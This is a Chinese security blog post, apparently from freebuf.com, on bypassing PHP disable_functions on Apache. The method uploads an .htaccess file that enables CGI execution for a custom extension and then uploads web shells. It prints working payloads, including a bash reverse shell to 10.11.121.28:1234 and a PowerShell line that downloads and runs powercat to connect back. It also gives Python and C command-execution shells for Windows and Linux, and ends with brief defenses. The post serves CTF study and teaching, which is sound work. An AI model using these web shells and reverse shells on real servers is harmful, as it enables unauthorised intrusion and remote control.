一、前言
在击剑(渗透)过程中,总会遇到disable_functions禁用函数的情况,在前段时间刚结束红帽杯初赛中,有一道bypass disable_functions的web题,虽然蚁剑有插件可以直接打穿,但蚁剑毕竟乃身外之物,身为一个剑客,总得有真才实学,所以针对.htaccess的方法进行了一些研究,总结出了几种姿势。
二、前置知识
.htaccess文件又称为分布式配置文件,顾名思义就是可以作为配置文件实现一些功能,在这里我们可以利用它来添加自定义的后缀并作为cgi程序运行,绕过disable_functions,实现命令执行
三、常用姿势
实现此方法需具备四个条件
1.Apache环境
2.mod_cgi已经启用
httpd.conf配置文件:
3.必须允许.htaccess文件,也就是AllowOverride选项为All,不是none
httpd.conf配置文件:
4.必须有权限写.htaccess文件
第一步:上传.htaccess
将.htaccess文件上传到网站当前目录中,内容如下:
Options +ExecCGI
AddHandler cgi-script .ares
Options指令的作用是控制特定目录将启用哪些服务器特性
**+**表示增加某一条特性
ExecCGI选项表示允许使用mod_cgi模块执行CGI脚本
Options +ExecCGI就表示启用mod_cgi模块执行CGI脚本
AddHandler指定处理程序与扩展名之间的关系
AddHandler cgi-script .ares就表示.ares扩展名以cgi-script进行处理
第二步:上传shell.ares
将shell.ares文件上传到网站当前目录中,内容如下:
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
echo&&whoami
#Content-Type: text/html 指定内容类型,告诉浏览器以html的语法解析此文件,而不是去下载它。
访问shell.ares,成功执行命令
也可以直接反弹shell
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
bash -i >& /dev/tcp/10.11.121.28/1234 0>&1
访问shell.ares后成功反弹
四、其它姿势
Windows环境
1.Powershell反弹shell
.htaccess文件
Options +ExecCGI
AddHandler cgi-script .bat
上传shell.bat
@echo Content-Type: text/html
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 10.11.121.28 -p 1234 -e cmd
访问shell.bat,此时会弹出powershell的窗口
成功反弹
2.Python执行命令
.htaccess文件
Options +ExecCGI
AddHandler cgi-script .py
上传shell.py
#!C:\python27\python.exe
print "Content-type:text/html\r\n"
import os
print os.popen('whoami').readline()
第一行要指定python.exe路径
成功执行命令
3.C语言执行命令
.htaccess文件
Options +ExecCGI
AddHandler cgi-script .cgi
使用Visual Studio 编写c程序
#define _CRT_SECURE_NO_WARNINGS
\#include <stdio.h>
\#include <stdlib.h>
int main()
{
printf("Content-type:text/html\n\n");
system("whoami > C:\\shell.txt");
FILE* file = fopen("C:\\shell.txt", "r");
fseek(file, 0, SEEK_END);
int size;
size = ftell(file);
rewind(file);
char buffer[100] = { 0 };
fread(buffer, size, 1, file);
printf("%s\n", buffer);
fclose(file);
}
这里是通过命令结果重定向和读取文件的形式
修改项目属性,可以修改输出目录和扩展名
注意根据自己系统选择对应位数
最后Ctrl+B编译C文件
上传生成的C文件shell.cgi
访问shell.cgi,执行命令成功
Linux环境
1.Python执行命令
.htaccess文件
Options +ExecCGI
AddHandler cgi-script .py
上传shell.py
#!/usr/bin/python
print "Content-type:text/html\r\n"
import os
print os.popen('whoami').readline()
同样的第一行要指定python路径
成功执行命令
2.C语言执行命令
.htaccess文件
Options +ExecCGI
AddHandler cgi-script .cgi
编写c文件
#define _CRT_SECURE_NO_WARNINGS
\#include <stdio.h>
\#include <stdlib.h>
int main()
{
printf("Content-type:text/html\n\n");
system("whoami > /tmp/shell.txt");
FILE* file = fopen("/tmp/shell.txt", "r");
fseek(file, 0, SEEK_END);
int size;
size = ftell(file);
rewind(file);
char buffer[100] = { 0 };
fread(buffer, size, 1, file);
printf("%s\n", buffer);
fclose(file);
}
需要注意的是命令结果需要重定向到有权限的目录下,比如/tmp
使用gcc编译c文件gcc shell.c -p shell.cgi
上传shell.cgi
成功执行命令
五、防御措施
方法一:禁用用户上传.htaccess文件
方法二:忽略.htaccess文件
编辑apache配置文件
修改AllowOverride的值为None,表示忽略.htaccess文件
六、总结
网络安全,知己知彼,百战不殆,掌握一种技术的原理很重要,只有掌握了原理,在遇到问题的情况下也能快速找到并解决问题。
ps:很多时候页面报错”HTTP 500 – Internal Server Error 服务器内部错误”,都是由于代码有问题。
来源:freebuf.com 2021-05-26 10:09:49 by: CHNlsh
请登录后发表评论
注册